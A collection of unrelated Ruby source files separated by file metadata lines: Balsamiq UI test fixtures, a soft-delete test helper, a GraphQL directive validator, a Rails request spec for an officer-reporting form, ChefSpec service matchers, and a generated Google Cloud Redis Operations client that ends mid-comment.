218, :text => "A%20Big%20Title", :rowHeight => nil, :dragger => nil, :controlID => 54, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 62, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 54, :state => nil, :hLines => nil, :controlTypeID => :Title, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1477, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 1022, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataTooltip = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 87, :text => "a%20tooltip", :rowHeight => nil, :dragger => nil, :controlID => 55, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 33, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 55, :state => nil, :hLines => nil, :controlTypeID => :Tooltip, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1734, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 1027, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataTree = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 280, :text => "f%20Use%20f%20for%20closed%20folders%0AF%20Use%20F%20for%20open%20folders%0A%20-%20Use%20-%20for%20files%0AF%20Use%20spaces%2C%20dots%20or%20%3E%20for%20hierarchy%0A%20-%20like%20this%20%28a%20file%20in%20a%20folder%29%0A.F%20and%20this%20%28a%20subfolder%29%0A%3E%3E-%20a%20file%20in%20a%20subfolder%0A-%20you%27ll%20get%20the%20hang%20of%20it", :rowHeight => nil, :dragger => nil, :controlID => 56, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 230, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 56, :state => nil, :hLines => nil, :controlTypeID => :Tree, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 2068, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 902, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataVCurly = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 180, :text => "A%20paragraph%20of%20text.%0AA%20second%20row%20of%20text.", :rowHeight => nil, :dragger => nil, :controlID => 57, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 140, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 57, :state => nil, :hLines => nil, :controlTypeID => :VCurly, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 2378, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 907, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataVRule = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 5, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 58, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 100, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 58, :state => nil, :hLines => nil, :controlTypeID => :VRule, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 2725, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 505, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataVerticalScrollBar = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 17, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 59, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 417, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 59, :state => nil, :hLines => nil, :controlTypeID => :VerticalScrollBar, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1432, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 359, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataVSlider = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 11, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 60, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 100, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 60, :state => nil, :hLines => nil, :controlTypeID => :VSlider, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 2753, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 529, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataHSplitter = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 12, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 61, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 100, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 61, :state => nil, :hLines => nil, :controlTypeID => :HSplitter, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 2776, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 490, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataVerticalTabBar = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 200, :text => "First%20Tab%0ASecond%20Tab%0AThird%20Tab%0AFourth%20Tab", :rowHeight => nil, :dragger => nil, :controlID => 62, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 194, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 62, :state => nil, :hLines => nil, :controlTypeID => :VerticalTabBar, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 2556, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 908, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataVideoPlayer = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 300, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 63, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 200, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 63, :state => nil, :hLines => nil, :controlTypeID => :VideoPlayer, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1836, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 1011, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataVolumeSlider = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 72, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 64, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 16, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 64, :state => nil, :hLines => nil, :controlTypeID => :VolumeSlider, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 2697, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 643, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataWebcam = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 177, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 65, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 145, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 65, :state => nil, :hLines => nil, :controlTypeID => :Webcam, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 2384, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 1054, :rightArrow => nil, :direction => nil, :close => nil, }
22.603669
365
0.616499
08e4bc5ca5b8bd266aa486d45729c34e03204467
1,523
require 'rubygems' require 'test/unit' require 'mocha' require 'active_support' require 'active_record' require 'active_record/fixtures' require File.join(File.dirname(__FILE__), '..', 'init') begin # pulls from one of test/connections/#{adapter}/connection.rb depending on how rake setup our lib paths require 'connection' rescue MissingSourceFile # default in case our libs weren't setup require File.join(File.dirname(__FILE__), 'connections', 'mysql', 'connection') end ActiveRecord::Base.logger = Logger.new File.join(File.dirname(__FILE__),"..","tmp","test.log") require File.join(File.dirname(__FILE__),"fixtures", "models.rb") require File.join(File.dirname(__FILE__),"fixtures", "schema.rb") class SoftDeleteTestCase < Test::Unit::TestCase #:nodoc: self.use_transactional_fixtures = false self.use_instantiated_fixtures = false def setup # Some hackery to get fixtures to be refreshed before each test without transactions Fixtures.cache_for_connection(ActiveRecord::Base.connection).clear Fixtures.create_fixtures( \ File.join(File.dirname(__FILE__), "fixtures"), Dir.glob('test/fixtures/*.yml').collect{|y| File.basename(y).match(%r/(.*)\.yml/)[1]} ) super end # Found this in activesupport-2.0.2/lib/active_support/testing/default.rb. # It prevents this abstract testcase from running. def run(*args) #method_name appears to be a symbol on 1.8.4 and a string on 1.8.6 return if @method_name.to_s == "default_test" super end end
31.729167
105
0.730794
6175bbfbd9016342c00011ec92d6975b44bad36a
2,609
module GraphQL module StaticValidation class DirectivesAreInValidLocations include GraphQL::StaticValidation::Message::MessageHelper include GraphQL::Language def validate(context) directives = context.schema.directives context.visitor[Nodes::Directive] << ->(node, parent) { validate_location(node, parent, directives, context) } end private LOCATION_MESSAGE_NAMES = { GraphQL::Directive::QUERY => "queries", GraphQL::Directive::MUTATION => "mutations", GraphQL::Directive::SUBSCRIPTION => "subscriptions", GraphQL::Directive::FIELD => "fields", GraphQL::Directive::FRAGMENT_DEFINITION => "fragment definitions", GraphQL::Directive::FRAGMENT_SPREAD => "fragment spreads", GraphQL::Directive::INLINE_FRAGMENT => "inline fragments", } SIMPLE_LOCATIONS = { Nodes::Field => GraphQL::Directive::FIELD, Nodes::InlineFragment => GraphQL::Directive::INLINE_FRAGMENT, Nodes::FragmentSpread => GraphQL::Directive::FRAGMENT_SPREAD, Nodes::FragmentDefinition => GraphQL::Directive::FRAGMENT_DEFINITION, } SIMPLE_LOCATION_NODES = SIMPLE_LOCATIONS.keys def validate_location(ast_directive, ast_parent, directives, context) directive_defn = directives[ast_directive.name] case ast_parent when Nodes::OperationDefinition required_location = GraphQL::Directive.const_get(ast_parent.operation_type.upcase) assert_includes_location(directive_defn, ast_directive, required_location, context) when *SIMPLE_LOCATION_NODES required_location = SIMPLE_LOCATIONS[ast_parent.class] assert_includes_location(directive_defn, ast_directive, required_location, context) else context.errors << message("Directives can't be applied to #{ast_parent.class.name}s", ast_directive, context: context) end end def assert_includes_location(directive_defn, directive_ast, required_location, context) if !directive_defn.locations.include?(required_location) location_name = LOCATION_MESSAGE_NAMES[required_location] allowed_location_names = directive_defn.locations.map { |loc| LOCATION_MESSAGE_NAMES[loc] } context.errors << message("'@#{directive_defn.name}' can't be applied to #{location_name} (allowed: #{allowed_location_names.join(", ")})", directive_ast, context: context) end end end end end
43.483333
182
0.675738
018d21b690e0f581ea46d7148317c87b585cdfed
5,002
require 'rails_helper' # TODO: Combine this with the involved_civilian_spec, it's really identical. describe '[Involved Officer Page]', type: :request do before :each do login end describe '[incident with one officer]' do before :each do create(:incident, stop_step: :officers) visit incident_path(Incident.first) expect(current_path).to end_with('involved_officers/new') end it 'is linked directly from dashboard' do visit_status :draft find('a', text: 'Edit').click expect(current_path).to end_with('involved_officers/new') end it 'requires answers before continuing' do find('button[type=submit]').click expect(current_path).to end_with('/involved_officers') expect(page).to have_content('There were problems with your form') end it 'continues to the next page if the data is valid' do answer_all_officer submit: true expect(current_path).not_to end_with('/involved_officers') expect(page).to have_no_content('There were problems with your form') end it 'does not display numberical links to individual officers' do links = all('a.person-link') expect(links.length).to eq(0) end end describe '[prepopulated fields]' do it 'prepopulates certain fields when there is only one officer' do create(:incident, stop_step: :civilians) visit incident_path(Incident.first) answer_all_civilian(assaulted_officer?: "No", received_force?: "No", submit: true) expect(current_path).to end_with('/involved_officers/new') expect(find("#involved_officer_officer_used_force_true")).not_to be_checked expect(find("#involved_officer_officer_used_force_false")).to be_checked expect(find("#involved_officer_received_force_true")).not_to be_checked expect(find("#involved_officer_received_force_false")).to be_checked click_link 'Civilians' expect(current_path).to end_with('/involved_civilians/0/edit') answer_all_civilian(assaulted_officer?: "Yes", received_force?: "Yes", submit: true) expect(current_path).to end_with('/involved_officers/new') expect(find("#involved_officer_officer_used_force_true")).to be_checked expect(find("#involved_officer_officer_used_force_false")).not_to be_checked expect(find("#involved_officer_received_force_true")).to be_checked expect(find("#involved_officer_received_force_false")).not_to be_checked # Ensure these "prepopulated" values don't override saved values. answer_all_officer submit: true # Override prepopulated values expect(current_path).to end_with('/review') click_link 'Officers' expect(find("#involved_officer_officer_used_force_true")).not_to be_checked expect(find("#involved_officer_officer_used_force_false")).to be_checked expect(find("#involved_officer_received_force_true")).not_to be_checked expect(find("#involved_officer_received_force_false")).to be_checked end it 'does NOT prepopulate any fields when there is more than one officer' do create(:incident, stop_step: :civilians, num_officers: 2) visit incident_path(Incident.first) answer_all_civilian(assaulted_officer?: "Yes", received_force?: "Yes", submit: true) expect(current_path).to end_with('/involved_officers/new') expect(find("#involved_officer_officer_used_force_true")).not_to be_checked expect(find("#involved_officer_officer_used_force_false")).not_to be_checked expect(find("#involved_officer_received_force_true")).not_to be_checked expect(find("#involved_officer_received_force_false")).not_to be_checked end end describe '[incident with 3 officers]' do before :each do create(:incident, stop_step: :officers, num_officers: 3) visit incident_path(Incident.first) expect(current_path).to end_with('involved_officers/new') end it 'displays the right selectors to jump to different officers' do links = all('a.person-link') expect(links.length).to eq(3) expect(links[0][:class]).to include 'person-link-current' expect(links[1][:class]).to include 'person-link-disabled' expect(links[2][:class]).to include 'person-link-disabled' answer_all_officer submit: true links = all('a.person-link') expect(links.length).to eq(3) expect(links[0][:class]).not_to include 'person-link-disabled' expect(links[1][:class]).to include 'person-link-current' expect(links[2][:class]).to include 'person-link-disabled' links[0].click # Go back to look at the first officer links = all('a.person-link') expect(links.length).to eq(3) expect(links[0][:class]).to include 'person-link-current' expect(links[1][:class]).not_to include 'person-link-disabled' expect(links[2][:class]).to include 'person-link-disabled' end end end
42.389831
82
0.708916
f79dd4186b4727370d3b421e5e6fba037e5d0782
796
require 'chefspec/matchers/shared' module ChefSpec module Matchers define_resource_matchers([:start, :stop, :restart, :reload, :nothing, :enable, :disable], [:service], :service_name) RSpec::Matchers.define :set_service_to_start_on_boot do |service| match do |chef_run| chef_run.resources.any? do |resource| resource_type(resource) == 'service' and resource.service_name == service and resource.action.include? :enable end end end RSpec::Matchers.define :set_service_to_not_start_on_boot do |service| match do |chef_run| chef_run.resources.any? do |resource| resource_type(resource) == 'service' and resource.service_name == service and resource.action.include? :disable end end end end end
30.615385
121
0.689698
394342398135ff00f318458f7a44a5c468238395
34,189
# frozen_string_literal: true # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Auto-generated by gapic-generator-ruby. DO NOT EDIT! require "gapic/operation" require "google/longrunning/operations_pb" module Google module Cloud module Redis module V1beta1 module CloudRedis # Service that implements Longrunning Operations API. class Operations # @private attr_reader :operations_stub ## # Configuration for the CloudRedis Operations API. # # @yield [config] Configure the Operations client. # @yieldparam config [Operations::Configuration] # # @return [Operations::Configuration] # def self.configure @configure ||= Operations::Configuration.new yield @configure if block_given? @configure end ## # Configure the CloudRedis Operations instance. # # The configuration is set to the derived mode, meaning that values can be changed, # but structural changes (adding new fields, etc.) are not allowed. Structural changes # should be made on {Operations.configure}. # # @yield [config] Configure the Operations client. # @yieldparam config [Operations::Configuration] # # @return [Operations::Configuration] # def configure yield @config if block_given? @config end ## # Create a new Operations client object. # # @yield [config] Configure the Client client. # @yieldparam config [Operations::Configuration] # def initialize # These require statements are intentionally placed here to initialize # the gRPC module only when it's required. # See https://github.com/googleapis/toolkit/issues/446 require "gapic/grpc" require "google/longrunning/operations_services_pb" # Create the configuration object @config = Configuration.new Operations.configure # Yield the configuration if needed yield @config if block_given? # Create credentials credentials = @config.credentials credentials ||= Credentials.default scope: @config.scope if credentials.is_a?(String) || credentials.is_a?(Hash) credentials = Credentials.new credentials, scope: @config.scope end @quota_project_id = @config.quota_project @quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id @operations_stub = ::Gapic::ServiceStub.new( ::Google::Longrunning::Operations::Stub, credentials: credentials, endpoint: @config.endpoint, channel_args: @config.channel_args, interceptors: @config.interceptors ) end # Service calls ## # Lists operations that match the specified filter in the request. If the # server doesn't support this method, it returns `UNIMPLEMENTED`. # # NOTE: the `name` binding allows API services to override the binding # to use different resource name schemes, such as `users/*/operations`. To # override the binding, API services can add a binding such as # `"/v1/{name=users/*}/operations"` to their service configuration. # For backwards compatibility, the default name includes the operations # collection id, however overriding users must ensure the name binding # is the parent resource, without the operations collection id. # # @overload list_operations(request, options = nil) # Pass arguments to `list_operations` via a request object, either of type # {::Google::Longrunning::ListOperationsRequest} or an equivalent Hash. # # @param request [::Google::Longrunning::ListOperationsRequest, ::Hash] # A request object representing the call parameters. Required. To specify no # parameters, or to keep all the default parameter values, pass an empty Hash. # @param options [::Gapic::CallOptions, ::Hash] # Overrides the default settings for this call, e.g, timeout, retries, etc. Optional. # # @overload list_operations(name: nil, filter: nil, page_size: nil, page_token: nil) # Pass arguments to `list_operations` via keyword arguments. Note that at # least one keyword argument is required. To specify no parameters, or to keep all # the default parameter values, pass an empty Hash as a request object (see above). # # @param name [::String] # The name of the operation's parent resource. # @param filter [::String] # The standard list filter. # @param page_size [::Integer] # The standard list page size. # @param page_token [::String] # The standard list page token. # # @yield [response, operation] Access the result along with the RPC operation # @yieldparam response [::Gapic::PagedEnumerable<::Gapic::Operation>] # @yieldparam operation [::GRPC::ActiveCall::Operation] # # @return [::Gapic::PagedEnumerable<::Gapic::Operation>] # # @raise [::Google::Cloud::Error] if the RPC is aborted. # def list_operations request, options = nil raise ::ArgumentError, "request must be provided" if request.nil? request = ::Gapic::Protobuf.coerce request, to: ::Google::Longrunning::ListOperationsRequest # Converts hash and nil to an options object options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h # Customize the options with defaults metadata = @config.rpcs.list_operations.metadata.to_h # Set x-goog-api-client and x-goog-user-project headers metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \ lib_name: @config.lib_name, lib_version: @config.lib_version, gapic_version: ::Google::Cloud::Redis::V1beta1::VERSION metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id header_params = { "name" => request.name } request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&") metadata[:"x-goog-request-params"] ||= request_params_header options.apply_defaults timeout: @config.rpcs.list_operations.timeout, metadata: metadata, retry_policy: @config.rpcs.list_operations.retry_policy options.apply_defaults metadata: @config.metadata, retry_policy: @config.retry_policy @operations_stub.call_rpc :list_operations, request, options: options do |response, operation| wrap_lro_operation = ->(op_response) { ::Gapic::Operation.new op_response, @operations_client } response = ::Gapic::PagedEnumerable.new @operations_stub, :list_operations, request, response, operation, options, format_resource: wrap_lro_operation yield response, operation if block_given? return response end rescue ::GRPC::BadStatus => e raise ::Google::Cloud::Error.from_error(e) end ## # Gets the latest state of a long-running operation. Clients can use this # method to poll the operation result at intervals as recommended by the API # service. # # @overload get_operation(request, options = nil) # Pass arguments to `get_operation` via a request object, either of type # {::Google::Longrunning::GetOperationRequest} or an equivalent Hash. # # @param request [::Google::Longrunning::GetOperationRequest, ::Hash] # A request object representing the call parameters. Required. To specify no # parameters, or to keep all the default parameter values, pass an empty Hash. # @param options [::Gapic::CallOptions, ::Hash] # Overrides the default settings for this call, e.g, timeout, retries, etc. Optional. # # @overload get_operation(name: nil) # Pass arguments to `get_operation` via keyword arguments. Note that at # least one keyword argument is required. To specify no parameters, or to keep all # the default parameter values, pass an empty Hash as a request object (see above). # # @param name [::String] # The name of the operation resource. # # @yield [response, operation] Access the result along with the RPC operation # @yieldparam response [::Gapic::Operation] # @yieldparam operation [::GRPC::ActiveCall::Operation] # # @return [::Gapic::Operation] # # @raise [::Google::Cloud::Error] if the RPC is aborted. # def get_operation request, options = nil raise ::ArgumentError, "request must be provided" if request.nil? request = ::Gapic::Protobuf.coerce request, to: ::Google::Longrunning::GetOperationRequest # Converts hash and nil to an options object options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h # Customize the options with defaults metadata = @config.rpcs.get_operation.metadata.to_h # Set x-goog-api-client and x-goog-user-project headers metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \ lib_name: @config.lib_name, lib_version: @config.lib_version, gapic_version: ::Google::Cloud::Redis::V1beta1::VERSION metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id header_params = { "name" => request.name } request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&") metadata[:"x-goog-request-params"] ||= request_params_header options.apply_defaults timeout: @config.rpcs.get_operation.timeout, metadata: metadata, retry_policy: @config.rpcs.get_operation.retry_policy options.apply_defaults metadata: @config.metadata, retry_policy: @config.retry_policy @operations_stub.call_rpc :get_operation, request, options: options do |response, operation| response = ::Gapic::Operation.new response, @operations_client, options: options yield response, operation if block_given? return response end rescue ::GRPC::BadStatus => e raise ::Google::Cloud::Error.from_error(e) end ## # Deletes a long-running operation. This method indicates that the client is # no longer interested in the operation result. It does not cancel the # operation. If the server doesn't support this method, it returns # `google.rpc.Code.UNIMPLEMENTED`. # # @overload delete_operation(request, options = nil) # Pass arguments to `delete_operation` via a request object, either of type # {::Google::Longrunning::DeleteOperationRequest} or an equivalent Hash. # # @param request [::Google::Longrunning::DeleteOperationRequest, ::Hash] # A request object representing the call parameters. Required. To specify no # parameters, or to keep all the default parameter values, pass an empty Hash. # @param options [::Gapic::CallOptions, ::Hash] # Overrides the default settings for this call, e.g, timeout, retries, etc. Optional. # # @overload delete_operation(name: nil) # Pass arguments to `delete_operation` via keyword arguments. Note that at # least one keyword argument is required. To specify no parameters, or to keep all # the default parameter values, pass an empty Hash as a request object (see above). # # @param name [::String] # The name of the operation resource to be deleted. # # @yield [response, operation] Access the result along with the RPC operation # @yieldparam response [::Google::Protobuf::Empty] # @yieldparam operation [::GRPC::ActiveCall::Operation] # # @return [::Google::Protobuf::Empty] # # @raise [::Google::Cloud::Error] if the RPC is aborted. # def delete_operation request, options = nil raise ::ArgumentError, "request must be provided" if request.nil? request = ::Gapic::Protobuf.coerce request, to: ::Google::Longrunning::DeleteOperationRequest # Converts hash and nil to an options object options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h # Customize the options with defaults metadata = @config.rpcs.delete_operation.metadata.to_h # Set x-goog-api-client and x-goog-user-project headers metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \ lib_name: @config.lib_name, lib_version: @config.lib_version, gapic_version: ::Google::Cloud::Redis::V1beta1::VERSION metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id header_params = { "name" => request.name } request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&") metadata[:"x-goog-request-params"] ||= request_params_header options.apply_defaults timeout: @config.rpcs.delete_operation.timeout, metadata: metadata, retry_policy: @config.rpcs.delete_operation.retry_policy options.apply_defaults metadata: @config.metadata, retry_policy: @config.retry_policy @operations_stub.call_rpc :delete_operation, request, options: options do |response, operation| yield response, operation if block_given? return response end rescue ::GRPC::BadStatus => e raise ::Google::Cloud::Error.from_error(e) end ## # Starts asynchronous cancellation on a long-running operation. The server # makes a best effort to cancel the operation, but success is not # guaranteed. If the server doesn't support this method, it returns # `google.rpc.Code.UNIMPLEMENTED`. Clients can use # Operations.GetOperation or # other methods to check whether the cancellation succeeded or whether the # operation completed despite cancellation. On successful cancellation, # the operation is not deleted; instead, it becomes an operation with # an {::Google::Longrunning::Operation#error Operation.error} value with a {::Google::Rpc::Status#code google.rpc.Status.code} of 1, # corresponding to `Code.CANCELLED`. # # @overload cancel_operation(request, options = nil) # Pass arguments to `cancel_operation` via a request object, either of type # {::Google::Longrunning::CancelOperationRequest} or an equivalent Hash. # # @param request [::Google::Longrunning::CancelOperationRequest, ::Hash] # A request object representing the call parameters. Required. To specify no # parameters, or to keep all the default parameter values, pass an empty Hash. # @param options [::Gapic::CallOptions, ::Hash] # Overrides the default settings for this call, e.g, timeout, retries, etc. Optional. # # @overload cancel_operation(name: nil) # Pass arguments to `cancel_operation` via keyword arguments. Note that at # least one keyword argument is required. To specify no parameters, or to keep all # the default parameter values, pass an empty Hash as a request object (see above). # # @param name [::String] # The name of the operation resource to be cancelled. # # @yield [response, operation] Access the result along with the RPC operation # @yieldparam response [::Google::Protobuf::Empty] # @yieldparam operation [::GRPC::ActiveCall::Operation] # # @return [::Google::Protobuf::Empty] # # @raise [::Google::Cloud::Error] if the RPC is aborted. # def cancel_operation request, options = nil raise ::ArgumentError, "request must be provided" if request.nil? request = ::Gapic::Protobuf.coerce request, to: ::Google::Longrunning::CancelOperationRequest # Converts hash and nil to an options object options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h # Customize the options with defaults metadata = @config.rpcs.cancel_operation.metadata.to_h # Set x-goog-api-client and x-goog-user-project headers metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \ lib_name: @config.lib_name, lib_version: @config.lib_version, gapic_version: ::Google::Cloud::Redis::V1beta1::VERSION metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id header_params = { "name" => request.name } request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&") metadata[:"x-goog-request-params"] ||= request_params_header options.apply_defaults timeout: @config.rpcs.cancel_operation.timeout, metadata: metadata, retry_policy: @config.rpcs.cancel_operation.retry_policy options.apply_defaults metadata: @config.metadata, retry_policy: @config.retry_policy @operations_stub.call_rpc :cancel_operation, request, options: options do |response, operation| yield response, operation if block_given? return response end rescue ::GRPC::BadStatus => e raise ::Google::Cloud::Error.from_error(e) end ## # Waits for the specified long-running operation until it is done or reaches # at most a specified timeout, returning the latest state. If the operation # is already done, the latest state is immediately returned. If the timeout # specified is greater than the default HTTP/RPC timeout, the HTTP/RPC # timeout is used. If the server does not support this method, it returns # `google.rpc.Code.UNIMPLEMENTED`. # Note that this method is on a best-effort basis. It may return the latest # state before the specified timeout (including immediately), meaning even an # immediate response is no guarantee that the operation is done. # # @overload wait_operation(request, options = nil) # Pass arguments to `wait_operation` via a request object, either of type # {::Google::Longrunning::WaitOperationRequest} or an equivalent Hash. # # @param request [::Google::Longrunning::WaitOperationRequest, ::Hash] # A request object representing the call parameters. Required. To specify no # parameters, or to keep all the default parameter values, pass an empty Hash. # @param options [::Gapic::CallOptions, ::Hash] # Overrides the default settings for this call, e.g, timeout, retries, etc. Optional. # # @overload wait_operation(name: nil, timeout: nil) # Pass arguments to `wait_operation` via keyword arguments. Note that at # least one keyword argument is required. To specify no parameters, or to keep all # the default parameter values, pass an empty Hash as a request object (see above). # # @param name [::String] # The name of the operation resource to wait on. # @param timeout [::Google::Protobuf::Duration, ::Hash] # The maximum duration to wait before timing out. If left blank, the wait # will be at most the time permitted by the underlying HTTP/RPC protocol. # If RPC context deadline is also specified, the shorter one will be used. # # @yield [response, operation] Access the result along with the RPC operation # @yieldparam response [::Gapic::Operation] # @yieldparam operation [::GRPC::ActiveCall::Operation] # # @return [::Gapic::Operation] # # @raise [::Google::Cloud::Error] if the RPC is aborted. # def wait_operation request, options = nil raise ::ArgumentError, "request must be provided" if request.nil? request = ::Gapic::Protobuf.coerce request, to: ::Google::Longrunning::WaitOperationRequest # Converts hash and nil to an options object options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h # Customize the options with defaults metadata = @config.rpcs.wait_operation.metadata.to_h # Set x-goog-api-client and x-goog-user-project headers metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \ lib_name: @config.lib_name, lib_version: @config.lib_version, gapic_version: ::Google::Cloud::Redis::V1beta1::VERSION metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id options.apply_defaults timeout: @config.rpcs.wait_operation.timeout, metadata: metadata, retry_policy: @config.rpcs.wait_operation.retry_policy options.apply_defaults metadata: @config.metadata, retry_policy: @config.retry_policy @operations_stub.call_rpc :wait_operation, request, options: options do |response, operation| response = ::Gapic::Operation.new response, @operations_client, options: options yield response, operation if block_given? return response end rescue ::GRPC::BadStatus => e raise ::Google::Cloud::Error.from_error(e) end ## # Configuration class for the Operations API. # # This class represents the configuration for Operations, # providing control over timeouts, retry behavior, logging, transport # parameters, and other 